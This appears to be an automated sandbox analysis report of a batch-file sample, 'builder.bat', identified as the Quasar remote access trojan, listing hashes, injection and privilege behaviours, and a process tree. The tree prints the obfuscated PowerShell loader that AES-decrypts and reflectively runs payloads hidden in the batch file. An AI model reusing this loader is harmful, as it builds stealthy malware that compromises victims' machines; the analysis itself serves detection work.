Analysis
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max time kernel
150s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
06-06-2024 15:40
Static task
static1
Behavioral task
behavioral1
Sample
builder.bat
Resource
win7-20240215-en
General
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Target
builder.bat
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Size
14.9MB
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MD5
70a53c5ec35eefae927a0c413a89937a
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SHA1
1bc9a22903968bfc05b87c1082a5c4242802d4dd
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SHA256
a7aa6fa77e4931544a6966ef435400c52a79af300a548aca4e9c67f72218ac2d
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SHA512
c712f2b98b0eb8c4808e4abcee0cc6100fc3e7d445f40208da0429b754148f190083ce247f183bb112083c15b06f466cbe573fe01f47de3d7958d8624e8d9aae
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SSDEEP
49152:QYwuS617ST7nN2d57VTqUTm0AmK0jEHD5FQ/9gsyuEgPXiGncZwPnzLO1WtJHFi7:S
Malware Config
Extracted
quasar
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reconnect_delay
3000
Signatures
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Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/3388-56-0x0000017FB3FA0000-0x0000017FB475C000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
builder.bat.exe$sxr-powershell.exedescription pid process target process PID 4432 created 624 4432 builder.bat.exe winlogon.exe PID 3388 created 624 3388 $sxr-powershell.exe winlogon.exe PID 3388 created 624 3388 $sxr-powershell.exe winlogon.exe PID 4432 created 624 4432 builder.bat.exe winlogon.exe PID 4432 created 624 4432 builder.bat.exe winlogon.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
builder.bat.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation builder.bat.exe -
Deletes itself 1 IoCs
Processes:
builder.bat.exepid process 4432 builder.bat.exe -
Executes dropped EXE 3 IoCs
Processes:
builder.bat.exe$sxr-powershell.exe$sxr-powershell.exepid process 4432 builder.bat.exe 3388 $sxr-powershell.exe 5116 $sxr-powershell.exe -
Drops file in System32 directory 22 IoCs
Processes:
svchost.exebuilder.bat.exe$sxr-powershell.exeOfficeClickToRun.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\System32\ucrtbased.dll builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140d.dll builder.bat.exe File opened for modification C:\Windows\System32\vcruntime140_1d.dll $sxr-powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File created C:\Windows\System32\vcruntime140_1d.dll builder.bat.exe File created C:\Windows\System32\vcruntime140d.dll builder.bat.exe File opened for modification C:\Windows\System32\ucrtbased.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\vcruntime140d.dll $sxr-powershell.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\System32\ucrtbased.dll builder.bat.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
builder.bat.exe$sxr-powershell.exedescription pid process target process PID 4432 set thread context of 1928 4432 builder.bat.exe dllhost.exe PID 3388 set thread context of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 set thread context of 916 3388 $sxr-powershell.exe dllhost.exe PID 4432 set thread context of 2228 4432 builder.bat.exe dllhost.exe PID 4432 set thread context of 3920 4432 builder.bat.exe dllhost.exe -
Drops file in Windows directory 4 IoCs
Processes:
cmd.exebuilder.bat.exedescription ioc process File created C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File opened for modification C:\Windows\$sxr-seroxen2\$sxr-Uni.bat cmd.exe File created C:\Windows\$sxr-powershell.exe builder.bat.exe File opened for modification C:\Windows\$sxr-powershell.exe builder.bat.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 5588 taskkill.exe -
Modifies data under HKEY_USERS 15 IoCs
Processes:
OfficeClickToRun.exesvchost.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717688520" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={71141597-B88E-48A4-AD76-13AD089071B0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 06 Jun 2024 15:42:01 GMT" OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
builder.bat.exedllhost.exe$sxr-powershell.exedllhost.exe$sxr-powershell.exedllhost.exepid process 4432 builder.bat.exe 4432 builder.bat.exe 4432 builder.bat.exe 1928 dllhost.exe 1928 dllhost.exe 1928 dllhost.exe 1928 dllhost.exe 4432 builder.bat.exe 4432 builder.bat.exe 3388 $sxr-powershell.exe 3388 $sxr-powershell.exe 3388 $sxr-powershell.exe 3388 $sxr-powershell.exe 1352 dllhost.exe 1352 dllhost.exe 1352 dllhost.exe 1352 dllhost.exe 3388 $sxr-powershell.exe 3388 $sxr-powershell.exe 5116 $sxr-powershell.exe 5116 $sxr-powershell.exe 3388 $sxr-powershell.exe 916 dllhost.exe 916 dllhost.exe 5116 $sxr-powershell.exe 5116 $sxr-powershell.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe 916 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
builder.bat.exedllhost.exe$sxr-powershell.exedllhost.exe$sxr-powershell.exedllhost.exesvchost.exesvchost.exedescription pid process Token: SeDebugPrivilege 4432 builder.bat.exe Token: SeDebugPrivilege 4432 builder.bat.exe Token: SeDebugPrivilege 1928 dllhost.exe Token: SeDebugPrivilege 3388 $sxr-powershell.exe Token: SeDebugPrivilege 3388 $sxr-powershell.exe Token: SeDebugPrivilege 1352 dllhost.exe Token: SeDebugPrivilege 5116 $sxr-powershell.exe Token: SeDebugPrivilege 3388 $sxr-powershell.exe Token: SeDebugPrivilege 916 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 1112 svchost.exe Token: SeIncreaseQuotaPrivilege 1112 svchost.exe Token: SeSecurityPrivilege 1112 svchost.exe Token: SeTakeOwnershipPrivilege 1112 svchost.exe Token: SeLoadDriverPrivilege 1112 svchost.exe Token: SeSystemtimePrivilege 1112 svchost.exe Token: SeBackupPrivilege 1112 svchost.exe Token: SeRestorePrivilege 1112 svchost.exe Token: SeShutdownPrivilege 1112 svchost.exe Token: SeSystemEnvironmentPrivilege 1112 svchost.exe Token: SeUndockPrivilege 1112 svchost.exe Token: SeManageVolumePrivilege 1112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1112 svchost.exe Token: SeIncreaseQuotaPrivilege 1112 svchost.exe Token: SeSecurityPrivilege 1112 svchost.exe Token: SeTakeOwnershipPrivilege 1112 svchost.exe Token: SeLoadDriverPrivilege 1112 svchost.exe Token: SeSystemtimePrivilege 1112 svchost.exe Token: SeBackupPrivilege 1112 svchost.exe Token: SeRestorePrivilege 1112 svchost.exe Token: SeShutdownPrivilege 1112 svchost.exe Token: SeSystemEnvironmentPrivilege 1112 svchost.exe Token: SeUndockPrivilege 1112 svchost.exe Token: SeManageVolumePrivilege 1112 svchost.exe Token: SeAuditPrivilege 2864 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1112 svchost.exe Token: SeIncreaseQuotaPrivilege 1112 svchost.exe Token: SeSecurityPrivilege 1112 svchost.exe Token: SeTakeOwnershipPrivilege 1112 svchost.exe Token: SeLoadDriverPrivilege 1112 svchost.exe Token: SeSystemtimePrivilege 1112 svchost.exe Token: SeBackupPrivilege 1112 svchost.exe Token: SeRestorePrivilege 1112 svchost.exe Token: SeShutdownPrivilege 1112 svchost.exe Token: SeSystemEnvironmentPrivilege 1112 svchost.exe Token: SeUndockPrivilege 1112 svchost.exe Token: SeManageVolumePrivilege 1112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1112 svchost.exe Token: SeIncreaseQuotaPrivilege 1112 svchost.exe Token: SeSecurityPrivilege 1112 svchost.exe Token: SeTakeOwnershipPrivilege 1112 svchost.exe Token: SeLoadDriverPrivilege 1112 svchost.exe Token: SeSystemtimePrivilege 1112 svchost.exe Token: SeBackupPrivilege 1112 svchost.exe Token: SeRestorePrivilege 1112 svchost.exe Token: SeShutdownPrivilege 1112 svchost.exe Token: SeSystemEnvironmentPrivilege 1112 svchost.exe Token: SeUndockPrivilege 1112 svchost.exe Token: SeManageVolumePrivilege 1112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 1112 svchost.exe Token: SeIncreaseQuotaPrivilege 1112 svchost.exe Token: SeSecurityPrivilege 1112 svchost.exe Token: SeTakeOwnershipPrivilege 1112 svchost.exe Token: SeLoadDriverPrivilege 1112 svchost.exe Token: SeSystemtimePrivilege 1112 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
$sxr-powershell.exepid process 3388 $sxr-powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
Processes:
Explorer.EXEpid process 3404 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exenet.exebuilder.bat.exe$sxr-powershell.exedllhost.exedescription pid process target process PID 2636 wrote to memory of 2184 2636 cmd.exe net.exe PID 2636 wrote to memory of 2184 2636 cmd.exe net.exe PID 2184 wrote to memory of 3604 2184 net.exe net1.exe PID 2184 wrote to memory of 3604 2184 net.exe net1.exe PID 2636 wrote to memory of 4432 2636 cmd.exe builder.bat.exe PID 2636 wrote to memory of 4432 2636 cmd.exe builder.bat.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 1928 4432 builder.bat.exe dllhost.exe PID 4432 wrote to memory of 3388 4432 builder.bat.exe $sxr-powershell.exe PID 4432 wrote to memory of 3388 4432 builder.bat.exe $sxr-powershell.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 1352 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 5116 3388 $sxr-powershell.exe $sxr-powershell.exe PID 3388 wrote to memory of 5116 3388 $sxr-powershell.exe $sxr-powershell.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 3388 wrote to memory of 916 3388 $sxr-powershell.exe dllhost.exe PID 916 wrote to memory of 624 916 dllhost.exe winlogon.exe PID 916 wrote to memory of 684 916 dllhost.exe lsass.exe PID 916 wrote to memory of 960 916 dllhost.exe svchost.exe PID 916 wrote to memory of 336 916 dllhost.exe dwm.exe PID 916 wrote to memory of 736 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1048 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1124 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1132 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1140 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1152 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1284 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1292 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1304 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1384 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1472 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1576 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1588 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1640 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1712 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1756 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1764 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1856 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1960 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1112 916 dllhost.exe svchost.exe PID 916 wrote to memory of 1496 916 dllhost.exe svchost.exe PID 916 wrote to memory of 2064 916 dllhost.exe svchost.exe PID 916 wrote to memory of 2096 916 dllhost.exe svchost.exe PID 916 wrote to memory of 2240 916 dllhost.exe spoolsv.exe PID 916 wrote to memory of 2288 916 dllhost.exe svchost.exe PID 916 wrote to memory of 2392 916 dllhost.exe svchost.exe PID 916 wrote to memory of 2560 916 dllhost.exe svchost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Views/modifies file attributes 1 TTPs 1 IoCs
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:624
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:336
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{07bcca39-dd2c-4f2b-aba9-62cfd44491e4}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{b8c99258-9957-4c5c-9e96-febbe81690a8}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{8b7f0c5d-9503-478e-8dec-7f20c4c96695}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4ed94203-899e-4e01-af12-c974317f1c96}2⤵PID:2228
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3dcd5921-48af-48e7-b8c0-74bad0801f5a}2⤵PID:3920
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:736
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1048
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
PID:1124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1132
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2816
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1140
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1152
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1472
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1576
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1588
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1640
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1756
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1496
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:2064
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2096
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2240
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2288
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2568
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2780
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2844
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2856
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2864
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2940
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:928
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3316
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
PID:3404 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\builder.bat"2⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2636 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2544
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C:\Windows\system32\net.exenet session3⤵
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵PID:3604
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C:\Users\Admin\AppData\Local\Temp\builder.bat.exe"builder.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VsYFF($UqIEP){ $cckBt=[System.Security.Cryptography.Aes]::Create(); $cckBt.Mode=[System.Security.Cryptography.CipherMode]::CBC; $cckBt.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $cckBt.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UEGY9MIPrGN+l8HMK+EOWWOHd3i8s5ddQy0gjFJszf0='); $cckBt.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIU6Lrw5kmXrlY9ZdCP5WQ=='); $twFeA=$cckBt.CreateDecryptor(); $return_var=$twFeA.TransformFinalBlock($UqIEP, 0, $UqIEP.Length); $twFeA.Dispose(); $cckBt.Dispose(); $return_var;}function onOdy($UqIEP){ $DcweI=New-Object System.IO.MemoryStream(,$UqIEP); $sUfkw=New-Object System.IO.MemoryStream; $rNOwy=New-Object System.IO.Compression.GZipStream($DcweI, [IO.Compression.CompressionMode]::Decompress); $rNOwy.CopyTo($sUfkw); $rNOwy.Dispose(); $DcweI.Dispose(); $sUfkw.Dispose(); $sUfkw.ToArray();}function spGXl($UqIEP,$ZvarV){ $UbgZg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$UqIEP); $oUCsb=$UbgZg.EntryPoint; $oUCsb.Invoke($null, $ZvarV);}$WAkYi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\builder.bat').Split([Environment]::NewLine);foreach ($kjXpr in $WAkYi) { if ($kjXpr.StartsWith(':: ')) { $vbeRz=$kjXpr.Substring(4); break; }}$IzdcO=[string[]]$vbeRz.Split('\');$clAux=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[0])));$WNxAq=onOdy (VsYFF ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($IzdcO[1])));spGXl $WNxAq (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));spGXl $clAux (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Deletes itself
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4432 -
